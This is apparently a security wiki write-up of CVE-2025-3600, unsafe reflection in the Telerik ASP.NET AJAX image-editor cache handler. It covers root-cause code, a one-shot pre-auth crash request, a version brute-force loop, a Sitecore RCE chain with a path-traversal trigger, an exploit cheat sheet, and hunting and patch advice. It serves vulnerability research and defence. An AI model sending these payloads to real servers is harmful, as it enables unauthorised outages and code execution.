Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler enables universal DoS and, in many apps, pre‑auth RCE via target‑specific gadgets (CVE-2025-3600).
TL;DR
- Affected component/route:
Telerik.Web.UI.WebResource.axdwith querytype=iec(Image Editor cache handler). It is exposed pre-authentication in many products. - Primitive: The attacker controls a type name (
prtype). The handler resolves it withType.GetType()and invokesActivator.CreateInstance()before verifying interface type safety. Any resolvable public parameterless .NET type constructor will run.[2] - Impact:
- Universal pre‑auth DoS with a .NET framework gadget (PowerShell WSMan finalizer).
- Often elevates to pre‑auth RCE in real deployments by abusing app‑specific gadgets, especially insecure AppDomain.AssemblyResolve handlers.
- Fix: Update to Telerik UI for ASP.NET AJAX 2025.1.416+ or remove/lock the handler.
Affected versions
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.[1]
- Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.[1]
Affected surface and quick discovery
- Check exposure:
- GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
- Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
- Do not rely on finding Telerik strings on
/or login pages. Real products such as Sitecore often expose the handler without referencing it in the default HTML.
- Triggering the vulnerable code path requires
type=iec,dkey=1, andprtype=<AssemblyQualifiedType>.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Notes:
- Some PoCs use dtype; the implementation checks dkey==“1” for the download flow.
- prtype must be assembly-qualified or resolvable in the current AppDomain.
Useful code/operations checks:
<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
Fast version triage on legacy installs
If the same application also exposes the legacy type=rau handler, older Telerik tooling can still help you fingerprint the shared Telerik.Web.UI.dll version before attempting type=iec research. This does not exploit CVE-2025-3600 directly; it only reuses the fact that rau and iec live in the same assembly.
Practical use:
- If
type=rauis reachable, use the classic major-version brute force from older RAU tooling to recover the exactTelerik.Web.UIassembly version. - Compare the recovered version against the vulnerable range (
2011.2.712to2025.1.218) and the fixed build (2025.1.416+). - Treat
type=rauabsence as inconclusive.iecmay still be exposed even whenrauis disabled or filtered.
Example with the legacy CVE-2019-18935.py helper:
for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done
Why this helps:
- Enterprise apps often bundle stale Telerik builds for years.
- Red teams can quickly distinguish “handler exposed” from “likely still on a vulnerable DLL”.
- During incident response, the same trick helps scope large IIS fleets when filesystem access is not immediately available.
Root cause – unsafe reflection in ImageEditorCacheHandler
The Image Editor cache download flow constructs an instance of a type supplied in prtype and only later casts it to ICacheImageProvider and validates the download key. The constructor has already run when validation fails.[2]
Relevant decompiled flow
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"]; // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}
private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}
public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}
protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}
Exploit primitive: controlled type string → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. Even if the request is rejected afterward, constructor side effects have already occurred.
Universal DoS gadget (no app-specific gadgets required)
Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) has a finalizer that disposes an uninitialized handle, causing an unhandled exception when GC finalizes it. This reliably crashes the IIS worker process shortly after instantiation.[2][3]
One‑shot DoS request:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Notes:
- In a controlled lab, repeated requests can keep recycling the worker. You may observe the constructor in a debugger before the crash occurs during finalization. Avoid this destructive validation on production systems.
From DoS to RCE – escalation patterns
Unsafe constructor execution unlocks many target‑specific gadgets and chains.[2] Hunt for:
- Parameterless constructors that process attacker input
- Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
- Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body “layout” and deserializes JSON via JSON.NET.
- Constructors that touch files
- Constructors that load or deserialize configuration or blobs from disk can be coerced if you can write to those paths (uploads, temporary, or data directories).
- Constructors performing app-specific ops
- Resetting state, toggling modules, or terminating processes.
- Constructors/static ctors that register AppDomain event handlers
- Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attacker‑controlled paths.
- Forcing AssemblyResolve via Type.GetType
- Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finalizers with destructive side effects
- Some types delete fixed-path files in finalizers. Combined with link-following or predictable paths this can enable local privilege escalation in certain environments.[4]
Example pre‑auth RCE chain (Sitecore XP)
- Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).[5]
- Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL.
- Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.[2][5]
Trigger examples:
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Validation, hunting and DFIR notes
- Controlled-lab validation: send the DoS payload only against a disposable instance and watch for an application-pool recycle or unhandled exception tied to the WSMan finalizer.
- Hunt in telemetry:
- Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
- Failed type loads and AppDomain.AssemblyResolve events.
- Sudden w3wp.exe crashes/recycles following such requests.
Mitigation
- Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.[1]
- Remove or restrict exposure of Telerik.Web.UI.WebResource.axd where possible (WAF/rewrites).[1]
- Reject or strictly allowlist
prtypeserver-side (the upgrade applies checks before instantiation). - Audit and harden custom AppDomain.AssemblyResolve handlers. Avoid building paths from args.Name without sanitization; prefer strong-named loads or whitelists.
- Constrain upload/write locations and prevent DLL drops into probed directories.
- Monitor for non-existent type load attempts to catch resolver abuse.
Cheat‑sheet
- Presence check:
- GET /Telerik.Web.UI.WebResource.axd
- Look for handler mapping in web.config
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Trigger resolver:
This.Class.Does.Not.Exist, watchTowr
Related techniques
- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
Iis Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting Viewstate Parameter
References
- [1] Progress Telerik – Unsafe Reflection Vulnerability (3600)
- [2] watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- [3] Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- [4] ZDI – Abusing arbitrary file deletes to escalate privilege
- [5] watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)